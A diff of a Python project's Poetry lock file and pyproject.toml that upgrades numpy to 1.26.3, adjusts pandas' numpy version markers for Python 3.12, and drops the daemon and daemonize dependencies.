{file = "daemonize-2.5.0-py2.py3-none-any.whl", hash = "sha256:9b6b91311a9d934ff3f5f766666635ca280d3de8e7137e4cd7d3f052543b989f"},
{file = "daemonize-2.5.0.tar.gz", hash = "sha256:dd026e4ff8d22cb016ed2130bc738b7d4b1da597ef93c074d2adb9e4dea08bc3"},
]
[[package]]
name = "docstring-parser"
version = "0.15"
@ -118,137 +97,49 @@ files = [
[[package]]
name = "numpy"
version = "1.25.2"
version = "1.26.3"
description = "Fundamental package for array computing in Python"
optional = false
python-versions = ">=3.9"
files = [
{file = "numpy-1.25.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:db3ccc4e37a6873045580d413fe79b68e47a681af8db2e046f1dacfa11f86eb3"},
{file = "numpy-1.25.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:90319e4f002795ccfc9050110bbbaa16c944b1c37c0baeea43c5fb881693ae1f"},
{file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfe4a913e29b418d096e696ddd422d8a5d13ffba4ea91f9f60440a3b759b0187"},
{file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f08f2e037bba04e707eebf4bc934f1972a315c883a9e0ebfa8a7756eabf9e357"},
{file = "numpy-1.25.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bec1e7213c7cb00d67093247f8c4db156fd03075f49876957dca4711306d39c9"},
{file = "numpy-1.25.2-cp310-cp310-win32.whl", hash = "sha256:7dc869c0c75988e1c693d0e2d5b26034644399dd929bc049db55395b1379e044"},
{file = "numpy-1.25.2-cp310-cp310-win_amd64.whl", hash = "sha256:834b386f2b8210dca38c71a6e0f4fd6922f7d3fcff935dbe3a570945acb1b545"},
{file = "numpy-1.25.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c5462d19336db4560041517dbb7759c21d181a67cb01b36ca109b2ae37d32418"},
{file = "numpy-1.25.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c5652ea24d33585ea39eb6a6a15dac87a1206a692719ff45d53c5282e66d4a8f"},
{file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d60fbae8e0019865fc4784745814cff1c421df5afee233db6d88ab4f14655a2"},
{file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:60e7f0f7f6d0eee8364b9a6304c2845b9c491ac706048c7e8cf47b83123b8dbf"},
{file = "numpy-1.25.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:bb33d5a1cf360304754913a350edda36d5b8c5331a8237268c48f91253c3a364"},
{file = "numpy-1.25.2-cp311-cp311-win32.whl", hash = "sha256:5883c06bb92f2e6c8181df7b39971a5fb436288db58b5a1c3967702d4278691d"},
{file = "numpy-1.25.2-cp311-cp311-win_amd64.whl", hash = "sha256:5c97325a0ba6f9d041feb9390924614b60b99209a71a69c876f71052521d42a4"},
{file = "numpy-1.25.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b79e513d7aac42ae918db3ad1341a015488530d0bb2a6abcbdd10a3a829ccfd3"},
{file = "numpy-1.25.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:eb942bfb6f84df5ce05dbf4b46673ffed0d3da59f13635ea9b926af3deb76926"},
{file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e0746410e73384e70d286f93abf2520035250aad8c5714240b0492a7302fdca"},
{file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d7806500e4f5bdd04095e849265e55de20d8cc4b661b038957354327f6d9b295"},
{file = "numpy-1.25.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8b77775f4b7df768967a7c8b3567e309f617dd5e99aeb886fa14dc1a0791141f"},
{file = "numpy-1.25.2-cp39-cp39-win32.whl", hash = "sha256:2792d23d62ec51e50ce4d4b7d73de8f67a2fd3ea710dcbc8563a51a03fb07b01"},
{file = "numpy-1.25.2-cp39-cp39-win_amd64.whl", hash = "sha256:76b4115d42a7dfc5d485d358728cdd8719be33cc5ec6ec08632a5d6fca2ed380"},
{file = "numpy-1.25.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1a1329e26f46230bf77b02cc19e900db9b52f398d6722ca853349a782d4cff55"},
{file = "numpy-1.25.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c3abc71e8b6edba80a01a52e66d83c5d14433cbcd26a40c329ec7ed09f37901"},
{file = "numpy-1.25.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1b9735c27cea5d995496f46a8b1cd7b408b3f34b6d50459d9ac8fe3a20cc17bf"},
{file = "numpy-1.25.2.tar.gz", hash = "sha256:fd608e19c8d7c55021dffd43bfe5492fab8cc105cc8986f813f8c3c048b38760"},
{file = "numpy-1.26.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:806dd64230dbbfaca8a27faa64e2f414bf1c6622ab78cc4264f7f5f028fee3bf"},
{file = "numpy-1.26.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f98011ba4ab17f46f80f7f8f1c291ee7d855fcef0a5a98db80767a468c85cd"},
{file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d45b3ec2faed4baca41c76617fcdcfa4f684ff7a151ce6fc78ad3b6e85af0a6"},
{file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdd2b45bf079d9ad90377048e2747a0c82351989a2165821f0c96831b4a2a54b"},
{file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:211ddd1e94817ed2d175b60b6374120244a4dd2287f4ece45d49228b4d529178"},
{file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b1240f767f69d7c4c8a29adde2310b871153df9b26b5cb2b54a561ac85146485"},
{file = "numpy-1.26.3-cp310-cp310-win32.whl", hash = "sha256:21a9484e75ad018974a2fdaa216524d64ed4212e418e0a551a2d83403b0531d3"},
{file = "numpy-1.26.3-cp310-cp310-win_amd64.whl", hash = "sha256:9e1591f6ae98bcfac2a4bbf9221c0b92ab49762228f38287f6eeb5f3f55905ce"},
{file = "numpy-1.26.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b831295e5472954104ecb46cd98c08b98b49c69fdb7040483aff799a755a7374"},
{file = "numpy-1.26.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9e87562b91f68dd8b1c39149d0323b42e0082db7ddb8e934ab4c292094d575d6"},
{file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c66d6fec467e8c0f975818c1796d25c53521124b7cfb760114be0abad53a0a2"},
{file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f25e2811a9c932e43943a2615e65fc487a0b6b49218899e62e426e7f0a57eeda"},
{file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:af36e0aa45e25c9f57bf684b1175e59ea05d9a7d3e8e87b7ae1a1da246f2767e"},
{file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:51c7f1b344f302067b02e0f5b5d2daa9ed4a721cf49f070280ac202738ea7f00"},
{file = "numpy-1.26.3-cp311-cp311-win32.whl", hash = "sha256:7ca4f24341df071877849eb2034948459ce3a07915c2734f1abb4018d9c49d7b"},
{file = "numpy-1.26.3-cp311-cp311-win_amd64.whl", hash = "sha256:39763aee6dfdd4878032361b30b2b12593fb445ddb66bbac802e2113eb8a6ac4"},
{file = "numpy-1.26.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a7081fd19a6d573e1a05e600c82a1c421011db7935ed0d5c483e9dd96b99cf13"},
{file = "numpy-1.26.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12c70ac274b32bc00c7f61b515126c9205323703abb99cd41836e8125ea0043e"},
{file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f784e13e598e9594750b2ef6729bcd5a47f6cfe4a12cca13def35e06d8163e3"},
{file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f24750ef94d56ce6e33e4019a8a4d68cfdb1ef661a52cdaee628a56d2437419"},
{file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:77810ef29e0fb1d289d225cabb9ee6cf4d11978a00bb99f7f8ec2132a84e0166"},
{file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8ed07a90f5450d99dad60d3799f9c03c6566709bd53b497eb9ccad9a55867f36"},
{file = "numpy-1.26.3-cp312-cp312-win32.whl", hash = "sha256:f73497e8c38295aaa4741bdfa4fda1a5aedda5473074369eca10626835445511"},
{file = "numpy-1.26.3-cp312-cp312-win_amd64.whl", hash = "sha256:da4b0c6c699a0ad73c810736303f7fbae483bcb012e38d7eb06a5e3b432c981b"},
{file = "numpy-1.26.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1666f634cb3c80ccbd77ec97bc17337718f56d6658acf5d3b906ca03e90ce87f"},
{file = "numpy-1.26.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:18c3319a7d39b2c6a9e3bb75aab2304ab79a811ac0168a671a62e6346c29b03f"},
{file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b7e807d6888da0db6e7e75838444d62495e2b588b99e90dd80c3459594e857b"},
{file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4d362e17bcb0011738c2d83e0a65ea8ce627057b2fdda37678f4374a382a137"},
{file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b8c275f0ae90069496068c714387b4a0eba5d531aace269559ff2b43655edd58"},
{file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:cc0743f0302b94f397a4a65a660d4cd24267439eb16493fb3caad2e4389bccbb"},
{file = "numpy-1.26.3-cp39-cp39-win32.whl", hash = "sha256:9bc6d1a7f8cedd519c4b7b1156d98e051b726bf160715b769106661d567b3f03"},
{file = "numpy-1.26.3-cp39-cp39-win_amd64.whl", hash = "sha256:867e3644e208c8922a3be26fc6bbf112a035f50f0a86497f98f228c50c607bb2"},
{file = "numpy-1.26.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3c67423b3703f8fbd90f5adaa37f85b5794d3366948efe9a5190a5f3a83fc34e"},
{file = "numpy-1.26.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46f47ee566d98849323f01b349d58f2557f02167ee301e5e28809a8c0e27a2d0"},
{file = "numpy-1.26.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a8474703bffc65ca15853d5fd4d06b18138ae90c17c8d12169968e998e448bb5"},
{file = "numpy-1.26.3.tar.gz", hash = "sha256:697df43e2b6310ecc9d95f05d5ef20eacc09c7c4ecc9da3f235d39e71b7da1e4"},
]
[[package]]
name = "numpy"
version = "1.26.1"
description = "Fundamental package for array computing in Python"
optional = false
python-versions = "<3.13,>=3.9"
files = [
{file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"},
{file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"},
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"},
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"},
{file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"},
{file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"},
{file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"},
{file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"},
{file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"},
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"},
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"},
{file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"},
{file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"},
{file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"},
{file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"},
{file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"},
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"},
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"},
{file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"},
{file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"},
{file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"},
{file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"},
{file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"},
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"},
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"},
{file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"},
{file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"},
{file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"},
{file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"},
{file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"},
]
[[package]]
name = "pandas"
version = "2.1.0"
description = "Powerful data structures for data analysis, time series, and statistics"
optional = false
python-versions = ">=3.9"
files = [
{file = "pandas-2.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:40dd20439ff94f1b2ed55b393ecee9cb6f3b08104c2c40b0cb7186a2f0046242"},
{file = "pandas-2.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d4f38e4fedeba580285eaac7ede4f686c6701a9e618d8a857b138a126d067f2f"},
{file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e6a0fe052cf27ceb29be9429428b4918f3740e37ff185658f40d8702f0b3e09"},
{file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d81e1813191070440d4c7a413cb673052b3b4a984ffd86b8dd468c45742d3cc"},
{file = "pandas-2.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:eb20252720b1cc1b7d0b2879ffc7e0542dd568f24d7c4b2347cb035206936421"},
{file = "pandas-2.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:38f74ef7ebc0ffb43b3d633e23d74882bce7e27bfa09607f3c5d3e03ffd9a4a5"},
{file = "pandas-2.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cda72cc8c4761c8f1d97b169661f23a86b16fdb240bdc341173aee17e4d6cedd"},
{file = "pandas-2.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d97daeac0db8c993420b10da4f5f5b39b01fc9ca689a17844e07c0a35ac96b4b"},
{file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8c58b1113892e0c8078f006a167cc210a92bdae23322bb4614f2f0b7a4b510f"},
{file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:629124923bcf798965b054a540f9ccdfd60f71361255c81fa1ecd94a904b9dd3"},
{file = "pandas-2.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:70cf866af3ab346a10debba8ea78077cf3a8cd14bd5e4bed3d41555a3280041c"},
{file = "pandas-2.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:d53c8c1001f6a192ff1de1efe03b31a423d0eee2e9e855e69d004308e046e694"},
{file = "pandas-2.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:86f100b3876b8c6d1a2c66207288ead435dc71041ee4aea789e55ef0e06408cb"},
{file = "pandas-2.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28f330845ad21c11db51e02d8d69acc9035edfd1116926ff7245c7215db57957"},
{file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9a6ccf0963db88f9b12df6720e55f337447aea217f426a22d71f4213a3099a6"},
{file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d99e678180bc59b0c9443314297bddce4ad35727a1a2656dbe585fd78710b3b9"},
{file = "pandas-2.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b31da36d376d50a1a492efb18097b9101bdbd8b3fbb3f49006e02d4495d4c644"},
{file = "pandas-2.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:0164b85937707ec7f70b34a6c3a578dbf0f50787f910f21ca3b26a7fd3363437"},
{file = "pandas-2.1.0.tar.gz", hash = "sha256:62c24c7fc59e42b775ce0679cfa7b14a5f9bfb7643cfbe708c960699e05fb918"},
]
[package.dependencies]
numpy = {version = ">=1.23.2", markers = "python_version >= \"3.11\""}
python-dateutil = ">=2.8.2"
pytz = ">=2020.1"
tzdata = ">=2022.1"
[package.extras]
all = ["PyQt5 (>=5.15.6)", "SQLAlchemy (>=1.4.36)", "beautifulsoup4 (>=4.11.1)", "bottleneck (>=1.3.4)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=0.8.1)", "fsspec (>=2022.05.0)", "gcsfs (>=2022.05.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.8.0)", "matplotlib (>=3.6.1)", "numba (>=0.55.2)", "numexpr (>=2.8.0)", "odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pandas-gbq (>=0.17.5)", "psycopg2 (>=2.9.3)", "pyarrow (>=7.0.0)", "pymysql (>=1.0.2)", "pyreadstat (>=1.1.5)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)", "pyxlsb (>=1.0.9)", "qtpy (>=2.2.0)", "s3fs (>=2022.05.0)", "scipy (>=1.8.1)", "tables (>=3.7.0)", "tabulate (>=0.8.10)", "xarray (>=2022.03.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)", "zstandard (>=0.17.0)"]
aws = ["s3fs (>=2022.05.0)"]
clipboard = ["PyQt5 (>=5.15.6)", "qtpy (>=2.2.0)"]
compression = ["zstandard (>=0.17.0)"]
computation = ["scipy (>=1.8.1)", "xarray (>=2022.03.0)"]
consortium-standard = ["dataframe-api-compat (>=0.1.7)"]
excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pyxlsb (>=1.0.9)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)"]
feather = ["pyarrow (>=7.0.0)"]
fss = ["fsspec (>=2022.05.0)"]
gcp = ["gcsfs (>=2022.05.0)", "pandas-gbq (>=0.17.5)"]
hdf5 = ["tables (>=3.7.0)"]
html = ["beautifulsoup4 (>=4.11.1)", "html5lib (>=1.1)", "lxml (>=4.8.0)"]
mysql = ["SQLAlchemy (>=1.4.36)", "pymysql (>=1.0.2)"]
output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.8.10)"]
parquet = ["pyarrow (>=7.0.0)"]
performance = ["bottleneck (>=1.3.4)", "numba (>=0.55.2)", "numexpr (>=2.8.0)"]
plot = ["matplotlib (>=3.6.1)"]
postgresql = ["SQLAlchemy (>=1.4.36)", "psycopg2 (>=2.9.3)"]
spss = ["pyreadstat (>=1.1.5)"]
sql-other = ["SQLAlchemy (>=1.4.36)"]
test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)"]
xml = ["lxml (>=4.8.0)"]
[[package]]
name = "pandas"
version = "2.1.1"
@ -284,7 +175,10 @@ files = [
]
[package.dependencies]
numpy = {version = ">=1.23.2", markers = "python_version == \"3.11\""}
numpy = [
{version = ">=1.23.2", markers = "python_version == \"3.11\""},
{version = ">=1.26.0", markers = "python_version >= \"3.12\""},
]
python-dateutil = ">=2.8.2"
pytz = ">=2020.1"
tzdata = ">=2022.1"
@ -409,4 +303,4 @@ files = [
[metadata]
lock-version = "2.0"
python-versions = "^3.11"
content-hash = "04596bf28419e3f62541cfe785f8cba26bfab7e5e44f31efbe737947c39324ec"
content-hash = "2bb920cc68aa6158f1d5f4b53aa0a0f2c60e0f246991e1b911567cd9644b1bb2"

View file

@ -14,8 +14,6 @@ art = "^6.0"
scapy = "^2.5.0"
configobj = "^5.0.8"
pandas = "^2.1.0"
daemon = "^1.2"
daemonize = "^2.5.0"
getmac = "^0.9.4"
faker-wifi-essid = "^0.4.1"
simple-parsing = "^0.1.4"